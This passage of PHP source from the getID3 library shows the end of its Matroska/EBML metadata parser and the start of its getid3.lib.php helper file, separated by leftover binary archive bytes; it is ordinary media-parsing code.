	 */
	private function ExtractCommentsSimpleTag($SimpleTagArray) {
		if (!empty($SimpleTagArray['SimpleTag'])) {
			foreach ($SimpleTagArray['SimpleTag'] as $SimpleTagKey => $SimpleTagData) {
				if (!empty($SimpleTagData['TagName']) && !empty($SimpleTagData['TagString'])) {
					$this->getid3->info['matroska']['comments'][strtolower($SimpleTagData['TagName'])][] = $SimpleTagData['TagString'];
				}
				if (!empty($SimpleTagData['SimpleTag'])) {
					$this->ExtractCommentsSimpleTag($SimpleTagData);
				}
			}
		}

		return true;
	}

	/**
	 * @param int $parent_end
	 *
	 * @return array
	 */
	private function HandleEMBLSimpleTag($parent_end) {
		$simpletag_entry = array();

		while ($this->getEBMLelement($element, $parent_end, array(EBML_ID_SIMPLETAG))) {
			switch ($element['id']) {

				case EBML_ID_TAGNAME:
				case EBML_ID_TAGLANGUAGE:
				case EBML_ID_TAGSTRING:
				case EBML_ID_TAGBINARY:
					$simpletag_entry[$element['id_name']] = $element['data'];
					break;

				case EBML_ID_SIMPLETAG:
					$simpletag_entry[$element['id_name']][] = $this->HandleEMBLSimpleTag($element['end']);
					break;

				case EBML_ID_TAGDEFAULT:
					$simpletag_entry[$element['id_name']] = (bool)getid3_lib::BigEndian2Int($element['data']);
					break;

				default:
					$this->unhandledElement('tag.simpletag', __LINE__, $element);
					break;
			}
		}

		return $simpletag_entry;
	}

	/**
	 * @param array $element
	 * @param int   $block_type
	 * @param array $info
	 *
	 * @return array
	 */
	private function HandleEMBLClusterBlock($element, $block_type, &$info) {
		// http://www.matroska.org/technical/specs/index.html#block_structure
		// http://www.matroska.org/technical/specs/index.html#simpleblock_structure

		$block_data = array();
		$block_data['tracknumber'] = $this->readEBMLint();
		$block_data['timecode']    = getid3_lib::BigEndian2Int($this->readEBMLelementData(2), false, true);
		$block_data['flags_raw']   = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));

		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
			$block_data['flags']['keyframe']  = (($block_data['flags_raw'] & 0x80) >> 7);
			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0x70) >> 4);
		}
		else {
			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0xF0) >> 4);
		}
		$block_data['flags']['invisible'] = (bool)(($block_data['flags_raw'] & 0x08) >> 3);
		$block_data['flags']['lacing']    =       (($block_data['flags_raw'] & 0x06) >> 1);  // 00=no lacing; 01=Xiph lacing; 11=EBML lacing; 10=fixed-size lacing
		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
			$block_data['flags']['discardable'] = (($block_data['flags_raw'] & 0x01));
		}
		else {
			//$block_data['flags']['reserved2'] = (($block_data['flags_raw'] & 0x01) >> 0);
		}
		$block_data['flags']['lacing_type'] = self::BlockLacingType($block_data['flags']['lacing']);

		// Lace (when lacing bit is set)
		if ($block_data['flags']['lacing'] > 0) {
			$block_data['lace_frames'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)) + 1; // Number of frames in the lace-1 (uint8)
			if ($block_data['flags']['lacing'] != 0x02) {
				for ($i = 1; $i < $block_data['lace_frames']; $i ++) { // Lace-coded size of each frame of the lace, except for the last one (multiple uint8). *This is not used with Fixed-size lacing as it is calculated automatically from (total size of lace) / (number of frames in lace).
					if ($block_data['flags']['lacing'] == 0x03) { // EBML lacing
						$block_data['lace_frames_size'][$i] = $this->readEBMLint(); // TODO: read size correctly, calc size for the last frame. For now offsets are deteminded OK with readEBMLint() and that's the most important thing.
					}
					else { // Xiph lacing
						$block_data['lace_frames_size'][$i] = 0;
						do {
							$size = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));
							$block_data['lace_frames_size'][$i] += $size;
						}
						while ($size == 255);
					}
				}
				if ($block_data['flags']['lacing'] == 0x01) { // calc size of the last frame only for Xiph lacing, till EBML sizes are now anyway determined incorrectly
					$block_data['lace_frames_size'][] = $element['end'] - $this->current_offset - array_sum($block_data['lace_frames_size']);
				}
			}
		}

		if (!isset($info['matroska']['track_data_offsets'][$block_data['tracknumber']])) {
			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['offset'] = $this->current_offset;
			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'] = $element['end'] - $this->current_offset;
			//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] = 0;
		}
		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] += $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'];
		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['duration']      = $block_data['timecode'] * ((isset($info['matroska']['info'][0]['TimecodeScale']) ? $info['matroska']['info'][0]['TimecodeScale'] : 1000000) / 1000000000);

		// set offset manually
		$this->current_offset = $element['end'];

		return $block_data;
	}

	/**
	 * @param string $EBMLstring
	 *
	 * @return int|float|false
	 */
	private static function EBML2Int($EBMLstring) {
		// http://matroska.org/specs/

		// Element ID coded with an UTF-8 like system:
		// 1xxx xxxx                                  - Class A IDs (2^7 -2 possible values) (base 0x8X)
		// 01xx xxxx  xxxx xxxx                       - Class B IDs (2^14-2 possible values) (base 0x4X 0xXX)
		// 001x xxxx  xxxx xxxx  xxxx xxxx            - Class C IDs (2^21-2 possible values) (base 0x2X 0xXX 0xXX)
		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - Class D IDs (2^28-2 possible values) (base 0x1X 0xXX 0xXX 0xXX)
		// Values with all x at 0 and 1 are reserved (hence the -2).

		// Data size, in octets, is also coded with an UTF-8 like system :
		// 1xxx xxxx                                                                              - value 0 to  2^7-2
		// 01xx xxxx  xxxx xxxx                                                                   - value 0 to 2^14-2
		// 001x xxxx  xxxx xxxx  xxxx xxxx                                                        - value 0 to 2^21-2
		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                             - value 0 to 2^28-2
		// 0000 1xxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                  - value 0 to 2^35-2
		// 0000 01xx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                       - value 0 to 2^42-2
		// 0000 001x  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx            - value 0 to 2^49-2
		// 0000 0001  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - value 0 to 2^56-2

		$first_byte_int = ord($EBMLstring[0]);
		if (0x80 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x7F);
		} elseif (0x40 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x3F);
		} elseif (0x20 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x1F);
		} elseif (0x10 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x0F);
		} elseif (0x08 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x07);
		} elseif (0x04 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x03);
		} elseif (0x02 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x01);
		} elseif (0x01 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x00);
		}

		return getid3_lib::BigEndian2Int($EBMLstring);
	}

	/**
	 * @param int $EBMLdatestamp
	 *
	 * @return float
	 */
	private static function EBMLdate2unix($EBMLdatestamp) {
		// Date - signed 8 octets integer in nanoseconds with 0 indicating the precise beginning of the millennium (at 2001-01-01T00:00:00,000000000 UTC)
		// 978307200 == mktime(0, 0, 0, 1, 1, 2001) == January 1, 2001 12:00:00am UTC
		return round(($EBMLdatestamp / 1000000000) + 978307200);
	}

	/**
	 * @param int $target_type
	 *
	 * @return string|int
	 */
	public static function TargetTypeValue($target_type) {
		// http://www.matroska.org/technical/specs/tagging/index.html
		static $TargetTypeValue = array();
		if (empty($TargetTypeValue)) {
			$TargetTypeValue[10] = 'A: ~ V:shot';                                           // the lowest hierarchy found in music or movies
			$TargetTypeValue[20] = 'A:subtrack/part/movement ~ V:scene';                    // corresponds to parts of a track for audio (like a movement)
			$TargetTypeValue[30] = 'A:track/song ~ V:chapter';                              // the common parts of an album or a movie
			$TargetTypeValue[40] = 'A:part/session ~ V:part/session';                       // when an album or episode has different logical parts
			$TargetTypeValue[50] = 'A:album/opera/concert ~ V:movie/episode/concert';       // the most common grouping level of music and video (equals to an episode for TV series)
			$TargetTypeValue[60] = 'A:edition/issue/volume/opus ~ V:season/sequel/volume';  // a list of lower levels grouped together
			$TargetTypeValue[70] = 'A:collection ~ V:collection';                           // the high hierarchy consisting of many different lower items
		}
		return (isset($TargetTypeValue[$target_type]) ? $TargetTypeValue[$target_type] : $target_type);
	}

	/**
	 * @param int $lacingtype
	 *
	 * @return string|int
	 */
	public static function BlockLacingType($lacingtype) {
		// http://matroska.org/technical/specs/index.html#block_structure
		static $BlockLacingType = array();
		if (empty($BlockLacingType)) {
			$BlockLacingType[0x00] = 'no lacing';
			$BlockLacingType[0x01] = 'Xiph lacing';
			$BlockLacingType[0x02] = 'fixed-size lacing';
			$BlockLacingType[0x03] = 'EBML lacing';
		}
		return (isset($BlockLacingType[$lacingtype]) ? $BlockLacingType[$lacingtype] : $lacingtype);
	}

	/**
	 * @param string $codecid
	 *
	 * @return string
	 */
	public static function CodecIDtoCommonName($codecid) {
		// http://www.matroska.org/technical/specs/codecid/index.html
		static $CodecIDlist = array();
		if (empty($CodecIDlist)) {
			$CodecIDlist['A_AAC']            = 'aac';
			$CodecIDlist['A_AAC/MPEG2/LC']   = 'aac';
			$CodecIDlist['A_AC3']            = 'ac3';
			$CodecIDlist['A_EAC3']           = 'eac3';
			$CodecIDlist['A_DTS']            = 'dts';
			$CodecIDlist['A_FLAC']           = 'flac';
			$CodecIDlist['A_MPEG/L1']        = 'mp1';
			$CodecIDlist['A_MPEG/L2']        = 'mp2';
			$CodecIDlist['A_MPEG/L3']        = 'mp3';
			$CodecIDlist['A_PCM/INT/LIT']    = 'pcm';       // PCM Integer Little Endian
			$CodecIDlist['A_PCM/INT/BIG']    = 'pcm';       // PCM Integer Big Endian
			$CodecIDlist['A_QUICKTIME/QDMC'] = 'quicktime'; // Quicktime: QDesign Music
			$CodecIDlist['A_QUICKTIME/QDM2'] = 'quicktime'; // Quicktime: QDesign Music v2
			$CodecIDlist['A_VORBIS']         = 'vorbis';
			$CodecIDlist['V_MPEG1']          = 'mpeg';
			$CodecIDlist['V_THEORA']         = 'theora';
			$CodecIDlist['V_REAL/RV40']      = 'real';
			$CodecIDlist['V_REAL/RV10']      = 'real';
			$CodecIDlist['V_REAL/RV20']      = 'real';
			$CodecIDlist['V_REAL/RV30']      = 'real';
			$CodecIDlist['V_QUICKTIME']      = 'quicktime'; // Quicktime
			$CodecIDlist['V_MPEG4/ISO/AP']   = 'mpeg4';
			$CodecIDlist['V_MPEG4/ISO/ASP']  = 'mpeg4';
			$CodecIDlist['V_MPEG4/ISO/AVC']  = 'h264';
			$CodecIDlist['V_MPEG4/ISO/SP']   = 'mpeg4';
			$CodecIDlist['V_VP8']            = 'vp8';
			$CodecIDlist['V_MS/VFW/FOURCC']  = 'vcm'; // Microsoft (TM) Video Codec Manager (VCM)
			$CodecIDlist['A_MS/ACM']         = 'acm'; // Microsoft (TM) Audio Codec Manager (ACM)
		}
		return (isset($CodecIDlist[$codecid]) ? $CodecIDlist[$codecid] : $codecid);
	}

	/**
	 * @param int $value
	 *
	 * @return string
	 */
	private static function EBMLidName($value) {
		static $EBMLidList = array();
		if (empty($EBMLidList)) {
			$EBMLidList[EBML_ID_ASPECTRATIOTYPE]            = 'AspectRatioType';
			$EBMLidList[EBML_ID_ATTACHEDFILE]               = 'AttachedFile';
			$EBMLidList[EBML_ID_ATTACHMENTLINK]             = 'AttachmentLink';
			$EBMLidList[EBML_ID_ATTACHMENTS]                = 'Attachments';
			$EBMLidList[EBML_ID_AUDIO]                      = 'Audio';
			$EBMLidList[EBML_ID_BITDEPTH]                   = 'BitDepth';
			$EBMLidList[EBML_ID_CHANNELPOSITIONS]           = 'ChannelPositions';
			$EBMLidList[EBML_ID_CHANNELS]                   = 'Channels';
			$EBMLidList[EBML_ID_CHAPCOUNTRY]                = 'ChapCountry';
			$EBMLidList[EBML_ID_CHAPLANGUAGE]               = 'ChapLanguage';
			$EBMLidList[EBML_ID_CHAPPROCESS]                = 'ChapProcess';
			$EBMLidList[EBML_ID_CHAPPROCESSCODECID]         = 'ChapProcessCodecID';
			$EBMLidList[EBML_ID_CHAPPROCESSCOMMAND]         = 'ChapProcessCommand';
			$EBMLidList[EBML_ID_CHAPPROCESSDATA]            = 'ChapProcessData';
			$EBMLidList[EBML_ID_CHAPPROCESSPRIVATE]         = 'ChapProcessPrivate';
			$EBMLidList[EBML_ID_CHAPPROCESSTIME]            = 'ChapProcessTime';
			$EBMLidList[EBML_ID_CHAPSTRING]                 = 'ChapString';
			$EBMLidList[EBML_ID_CHAPTERATOM]                = 'ChapterAtom';
			$EBMLidList[EBML_ID_CHAPTERDISPLAY]             = 'ChapterDisplay';
			$EBMLidList[EBML_ID_CHAPTERFLAGENABLED]         = 'ChapterFlagEnabled';
			$EBMLidList[EBML_ID_CHAPTERFLAGHIDDEN]          = 'ChapterFlagHidden';
			$EBMLidList[EBML_ID_CHAPTERPHYSICALEQUIV]       = 'ChapterPhysicalEquiv';
			$EBMLidList[EBML_ID_CHAPTERS]                   = 'Chapters';
			$EBMLidList[EBML_ID_CHAPTERSEGMENTEDITIONUID]   = 'ChapterSegmentEditionUID';
			$EBMLidList[EBML_ID_CHAPTERSEGMENTUID]          = 'ChapterSegmentUID';
			$EBMLidList[EBML_ID_CHAPTERTIMEEND]             = 'ChapterTimeEnd';
			$EBMLidList[EBML_ID_CHAPTERTIMESTART]           = 'ChapterTimeStart';
			$EBMLidList[EBML_ID_CHAPTERTRACK]               = 'ChapterTrack';
			$EBMLidList[EBML_ID_CHAPTERTRACKNUMBER]         = 'ChapterTrackNumber';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATE]           = 'ChapterTranslate';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATECODEC]      = 'ChapterTranslateCodec';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATEEDITIONUID] = 'ChapterTranslateEditionUID';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATEID]         = 'ChapterTranslateID';
			$EBMLidList[EBML_ID_CHAPTERUID]                 = 'ChapterUID';
			$EBMLidList[EBML_ID_CLUSTER]                    = 'Cluster';
			$EBMLidList[EBML_ID_CLUSTERBLOCK]               = 'ClusterBlock';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDID]          = 'ClusterBlockAddID';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONAL]     = 'ClusterBlockAdditional';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONID]     = 'ClusterBlockAdditionID';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONS]      = 'ClusterBlockAdditions';
			$EBMLidList[EBML_ID_CLUSTERBLOCKDURATION]       = 'ClusterBlockDuration';
			$EBMLidList[EBML_ID_CLUSTERBLOCKGROUP]          = 'ClusterBlockGroup';
			$EBMLidList[EBML_ID_CLUSTERBLOCKMORE]           = 'ClusterBlockMore';
			$EBMLidList[EBML_ID_CLUSTERBLOCKVIRTUAL]        = 'ClusterBlockVirtual';
			$EBMLidList[EBML_ID_CLUSTERCODECSTATE]          = 'ClusterCodecState';
			$EBMLidList[EBML_ID_CLUSTERDELAY]               = 'ClusterDelay';
			$EBMLidList[EBML_ID_CLUSTERDURATION]            = 'ClusterDuration';
			$EBMLidList[EBML_ID_CLUSTERENCRYPTEDBLOCK]      = 'ClusterEncryptedBlock';
			$EBMLidList[EBML_ID_CLUSTERFRAMENUMBER]         = 'ClusterFrameNumber';
			$EBMLidList[EBML_ID_CLUSTERLACENUMBER]          = 'ClusterLaceNumber';
			$EBMLidList[EBML_ID_CLUSTERPOSITION]            = 'ClusterPosition';
			$EBMLidList[EBML_ID_CLUSTERPREVSIZE]            = 'ClusterPrevSize';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEBLOCK]      = 'ClusterReferenceBlock';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEPRIORITY]   = 'ClusterReferencePriority';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEVIRTUAL]    = 'ClusterReferenceVirtual';
			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKNUMBER]   = 'ClusterSilentTrackNumber';
			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKS]        = 'ClusterSilentTracks';
			$EBMLidList[EBML_ID_CLUSTERSIMPLEBLOCK]         = 'ClusterSimpleBlock';
			$EBMLidList[EBML_ID_CLUSTERTIMECODE]            = 'ClusterTimecode';
			$EBMLidList[EBML_ID_CLUSTERTIMESLICE]           = 'ClusterTimeSlice';
			$EBMLidList[EBML_ID_CODECDECODEALL]             = 'CodecDecodeAll';
			$EBMLidList[EBML_ID_CODECDOWNLOADURL]           = 'CodecDownloadURL';
			$EBMLidList[EBML_ID_CODECID]                    = 'CodecID';
			$EBMLidList[EBML_ID_CODECINFOURL]               = 'CodecInfoURL';
			$EBMLidList[EBML_ID_CODECNAME]                  = 'CodecName';
			$EBMLidList[EBML_ID_CODECPRIVATE]               = 'CodecPrivate';
			$EBMLidList[EBML_ID_CODECSETTINGS]              = 'CodecSettings';
			$EBMLidList[EBML_ID_COLOURSPACE]                = 'ColourSpace';
			$EBMLidList[EBML_ID_CONTENTCOMPALGO]            = 'ContentCompAlgo';
			$EBMLidList[EBML_ID_CONTENTCOMPRESSION]         = 'ContentCompression';
			$EBMLidList[EBML_ID_CONTENTCOMPSETTINGS]        = 'ContentCompSettings';
			$EBMLidList[EBML_ID_CONTENTENCALGO]             = 'ContentEncAlgo';
			$EBMLidList[EBML_ID_CONTENTENCKEYID]            = 'ContentEncKeyID';
			$EBMLidList[EBML_ID_CONTENTENCODING]            = 'ContentEncoding';
			$EBMLidList[EBML_ID_CONTENTENCODINGORDER]       = 'ContentEncodingOrder';
			$EBMLidList[EBML_ID_CONTENTENCODINGS]           = 'ContentEncodings';
			$EBMLidList[EBML_ID_CONTENTENCODINGSCOPE]       = 'ContentEncodingScope';
			$EBMLidList[EBML_ID_CONTENTENCODINGTYPE]        = 'ContentEncodingType';
			$EBMLidList[EBML_ID_CONTENTENCRYPTION]          = 'ContentEncryption';
			$EBMLidList[EBML_ID_CONTENTSIGALGO]             = 'ContentSigAlgo';
			$EBMLidList[EBML_ID_CONTENTSIGHASHALGO]         = 'ContentSigHashAlgo';
			$EBMLidList[EBML_ID_CONTENTSIGKEYID]            = 'ContentSigKeyID';
			$EBMLidList[EBML_ID_CONTENTSIGNATURE]           = 'ContentSignature';
			$EBMLidList[EBML_ID_CRC32]                      = 'CRC32';
			$EBMLidList[EBML_ID_CUEBLOCKNUMBER]             = 'CueBlockNumber';
			$EBMLidList[EBML_ID_CUECLUSTERPOSITION]         = 'CueClusterPosition';
			$EBMLidList[EBML_ID_CUECODECSTATE]              = 'CueCodecState';
			$EBMLidList[EBML_ID_CUEPOINT]                   = 'CuePoint';
			$EBMLidList[EBML_ID_CUEREFCLUSTER]              = 'CueRefCluster';
			$EBMLidList[EBML_ID_CUEREFCODECSTATE]           = 'CueRefCodecState';
			$EBMLidList[EBML_ID_CUEREFERENCE]               = 'CueReference';
			$EBMLidList[EBML_ID_CUEREFNUMBER]               = 'CueRefNumber';
			$EBMLidList[EBML_ID_CUEREFTIME]                 = 'CueRefTime';
			$EBMLidList[EBML_ID_CUES]                       = 'Cues';
			$EBMLidList[EBML_ID_CUETIME]                    = 'CueTime';
			$EBMLidList[EBML_ID_CUETRACK]                   = 'CueTrack';
			$EBMLidList[EBML_ID_CUETRACKPOSITIONS]          = 'CueTrackPositions';
			$EBMLidList[EBML_ID_DATEUTC]                    = 'DateUTC';
			$EBMLidList[EBML_ID_DEFAULTDURATION]            = 'DefaultDuration';
			$EBMLidList[EBML_ID_DISPLAYHEIGHT]              = 'DisplayHeight';
			$EBMLidList[EBML_ID_DISPLAYUNIT]                = 'DisplayUnit';
			$EBMLidList[EBML_ID_DISPLAYWIDTH]               = 'DisplayWidth';
			$EBMLidList[EBML_ID_DOCTYPE]                    = 'DocType';
			$EBMLidList[EBML_ID_DOCTYPEREADVERSION]         = 'DocTypeReadVersion';
			$EBMLidList[EBML_ID_DOCTYPEVERSION]             = 'DocTypeVersion';
			$EBMLidList[EBML_ID_DURATION]                   = 'Duration';
			$EBMLidList[EBML_ID_EBML]                       = 'EBML';
			$EBMLidList[EBML_ID_EBMLMAXIDLENGTH]            = 'EBMLMaxIDLength';
			$EBMLidList[EBML_ID_EBMLMAXSIZELENGTH]          = 'EBMLMaxSizeLength';
			$EBMLidList[EBML_ID_EBMLREADVERSION]            = 'EBMLReadVersion';
			$EBMLidList[EBML_ID_EBMLVERSION]                = 'EBMLVersion';
			$EBMLidList[EBML_ID_EDITIONENTRY]               = 'EditionEntry';
			$EBMLidList[EBML_ID_EDITIONFLAGDEFAULT]         = 'EditionFlagDefault';
			$EBMLidList[EBML_ID_EDITIONFLAGHIDDEN]          = 'EditionFlagHidden';
			$EBMLidList[EBML_ID_EDITIONFLAGORDERED]         = 'EditionFlagOrdered';
			$EBMLidList[EBML_ID_EDITIONUID]                 = 'EditionUID';
			$EBMLidList[EBML_ID_FILEDATA]                   = 'FileData';
			$EBMLidList[EBML_ID_FILEDESCRIPTION]            = 'FileDescription';
			$EBMLidList[EBML_ID_FILEMIMETYPE]               = 'FileMimeType';
			$EBMLidList[EBML_ID_FILENAME]                   = 'FileName';
			$EBMLidList[EBML_ID_FILEREFERRAL]               = 'FileReferral';
			$EBMLidList[EBML_ID_FILEUID]                    = 'FileUID';
			$EBMLidList[EBML_ID_FLAGDEFAULT]                = 'FlagDefault';
			$EBMLidList[EBML_ID_FLAGENABLED]                = 'FlagEnabled';
			$EBMLidList[EBML_ID_FLAGFORCED]                 = 'FlagForced';
			$EBMLidList[EBML_ID_FLAGINTERLACED]             = 'FlagInterlaced';
			$EBMLidList[EBML_ID_FLAGLACING]                 = 'FlagLacing';
			$EBMLidList[EBML_ID_GAMMAVALUE]                 = 'GammaValue';
			$EBMLidList[EBML_ID_INFO]                       = 'Info';
			$EBMLidList[EBML_ID_LANGUAGE]                   = 'Language';
			$EBMLidList[EBML_ID_MAXBLOCKADDITIONID]         = 'MaxBlockAdditionID';
			$EBMLidList[EBML_ID_MAXCACHE]                   = 'MaxCache';
			$EBMLidList[EBML_ID_MINCACHE]                   = 'MinCache';
			$EBMLidList[EBML_ID_MUXINGAPP]                  = 'MuxingApp';
			$EBMLidList[EBML_ID_NAME]                       = 'Name';
			$EBMLidList[EBML_ID_NEXTFILENAME]               = 'NextFilename';
			$EBMLidList[EBML_ID_NEXTUID]                    = 'NextUID';
			$EBMLidList[EBML_ID_OUTPUTSAMPLINGFREQUENCY]    = 'OutputSamplingFrequency';
			$EBMLidList[EBML_ID_PIXELCROPBOTTOM]            = 'PixelCropBottom';
			$EBMLidList[EBML_ID_PIXELCROPLEFT]              = 'PixelCropLeft';
			$EBMLidList[EBML_ID_PIXELCROPRIGHT]             = 'PixelCropRight';
			$EBMLidList[EBML_ID_PIXELCROPTOP]               = 'PixelCropTop';
			$EBMLidList[EBML_ID_PIXELHEIGHT]                = 'PixelHeight';
			$EBMLidList[EBML_ID_PIXELWIDTH]                 = 'PixelWidth';
			$EBMLidList[EBML_ID_PREVFILENAME]               = 'PrevFilename';
			$EBMLidList[EBML_ID_PREVUID]                    = 'PrevUID';
			$EBMLidList[EBML_ID_SAMPLINGFREQUENCY]          = 'SamplingFrequency';
			$EBMLidList[EBML_ID_SEEK]                       = 'Seek';
			$EBMLidList[EBML_ID_SEEKHEAD]                   = 'SeekHead';
			$EBMLidList[EBML_ID_SEEKID]                     = 'SeekID';
			$EBMLidList[EBML_ID_SEEKPOSITION]               = 'SeekPosition';
			$EBMLidList[EBML_ID_SEGMENT]                    = 'Segment';
			$EBMLidList[EBML_ID_SEGMENTFAMILY]              = 'SegmentFamily';
			$EBMLidList[EBML_ID_SEGMENTFILENAME]            = 'SegmentFilename';
			$EBMLidList[EBML_ID_SEGMENTUID]                 = 'SegmentUID';
			$EBMLidList[EBML_ID_SIMPLETAG]                  = 'SimpleTag';
			$EBMLidList[EBML_ID_CLUSTERSLICES]              = 'ClusterSlices';
			$EBMLidList[EBML_ID_STEREOMODE]                 = 'StereoMode';
			$EBMLidList[EBML_ID_OLDSTEREOMODE]              = 'OldStereoMode';
			$EBMLidList[EBML_ID_TAG]                        = 'Tag';
			$EBMLidList[EBML_ID_TAGATTACHMENTUID]           = 'TagAttachmentUID';
			$EBMLidList[EBML_ID_TAGBINARY]                  = 'TagBinary';
			$EBMLidList[EBML_ID_TAGCHAPTERUID]              = 'TagChapterUID';
			$EBMLidList[EBML_ID_TAGDEFAULT]                 = 'TagDefault';
			$EBMLidList[EBML_ID_TAGEDITIONUID]              = 'TagEditionUID';
			$EBMLidList[EBML_ID_TAGLANGUAGE]                = 'TagLanguage';
			$EBMLidList[EBML_ID_TAGNAME]                    = 'TagName';
			$EBMLidList[EBML_ID_TAGTRACKUID]                = 'TagTrackUID';
			$EBMLidList[EBML_ID_TAGS]                       = 'Tags';
			$EBMLidList[EBML_ID_TAGSTRING]                  = 'TagString';
			$EBMLidList[EBML_ID_TARGETS]                    = 'Targets';
			$EBMLidList[EBML_ID_TARGETTYPE]                 = 'TargetType';
			$EBMLidList[EBML_ID_TARGETTYPEVALUE]            = 'TargetTypeValue';
			$EBMLidList[EBML_ID_TIMECODESCALE]              = 'TimecodeScale';
			$EBMLidList[EBML_ID_TITLE]                      = 'Title';
			$EBMLidList[EBML_ID_TRACKENTRY]                 = 'TrackEntry';
			$EBMLidList[EBML_ID_TRACKNUMBER]                = 'TrackNumber';
			$EBMLidList[EBML_ID_TRACKOFFSET]                = 'TrackOffset';
			$EBMLidList[EBML_ID_TRACKOVERLAY]               = 'TrackOverlay';
			$EBMLidList[EBML_ID_TRACKS]                     = 'Tracks';
			$EBMLidList[EBML_ID_TRACKTIMECODESCALE]         = 'TrackTimecodeScale';
			$EBMLidList[EBML_ID_TRACKTRANSLATE]             = 'TrackTranslate';
			$EBMLidList[EBML_ID_TRACKTRANSLATECODEC]        = 'TrackTranslateCodec';
			$EBMLidList[EBML_ID_TRACKTRANSLATEEDITIONUID]   = 'TrackTranslateEditionUID';
			$EBMLidList[EBML_ID_TRACKTRANSLATETRACKID]      = 'TrackTranslateTrackID';
			$EBMLidList[EBML_ID_TRACKTYPE]                  = 'TrackType';
			$EBMLidList[EBML_ID_TRACKUID]                   = 'TrackUID';
			$EBMLidList[EBML_ID_VIDEO]                      = 'Video';
			$EBMLidList[EBML_ID_VOID]                       = 'Void';
			$EBMLidList[EBML_ID_WRITINGAPP]                 = 'WritingApp';
		}

		return (isset($EBMLidList[$value]) ? $EBMLidList[$value] : dechex($value));
	}

	/**
	 * @param int $value
	 *
	 * @return string
	 */
	public static function displayUnit($value) {
		// http://www.matroska.org/technical/specs/index.html#DisplayUnit
		static $units = array(
			0 => 'pixels',
			1 => 'centimeters',
			2 => 'inches',
			3 => 'Display Aspect Ratio');

		return (isset($units[$value]) ? $units[$value] : 'unknown');
	}

	/**
	 * @param array $streams
	 *
	 * @return array
	 */
	private static function getDefaultStreamInfo($streams)
	{
		$stream = array();
		foreach (array_reverse($streams) as $stream) {
			if ($stream['default']) {
				break;
			}
		}

		$unset = array('default', 'name');
		foreach ($unset as $u) {
			if (isset($stream[$u])) {
				unset($stream[$u]);
			}
		}

		$info = $stream;
		$info['streams'] = $streams;

		return $info;
	}

}
PKEWd[���|����getid3.lib.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//                                                             //
// getid3.lib.php - part of getID3()                           //
//  see readme.txt for more details                            //
//                                                            ///
/////////////////////////////////////////////////////////////////

if(!defined('GETID3_LIBXML_OPTIONS') && defined('LIBXML_VERSION')) {
	if(LIBXML_VERSION >= 20621) {
		define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NONET | LIBXML_NOWARNING | LIBXML_COMPACT);
	} else {
		define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NONET | LIBXML_NOWARNING);
	}
}

class getid3_lib
{
	/**
	 * @param string      $string
	 * @param bool        $hex
	 * @param bool        $spaces
	 * @param string|bool $htmlencoding
	 *
	 * @return string
	 */
	public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') {
		$returnstring = '';
		for ($i = 0; $i < strlen($string); $i++) {
			if ($hex) {
				$returnstring .= str_pad(dechex(ord($string[$i])), 2, '0', STR_PAD_LEFT);
			} else {
				$returnstring .= ' '.(preg_match("#[\x20-\x7E]#", $string[$i]) ? $string[$i] : '¤');
			}
			if ($spaces) {
				$returnstring .= ' ';
			}
		}
		if (!empty($htmlencoding)) {
			if ($htmlencoding === true) {
				$htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean
			}
			$returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding);
		}
		return $returnstring;
	}

	/**
	 * Truncates a floating-point number at the decimal point.
	 *
	 * @param float $floatnumber
	 *
	 * @return float|int returns int (if possible, otherwise float)
	 */
	public static function trunc($floatnumber) {
		if ($floatnumber >= 1) {
			$truncatednumber = floor($floatnumber);
		} elseif ($floatnumber <= -1) {
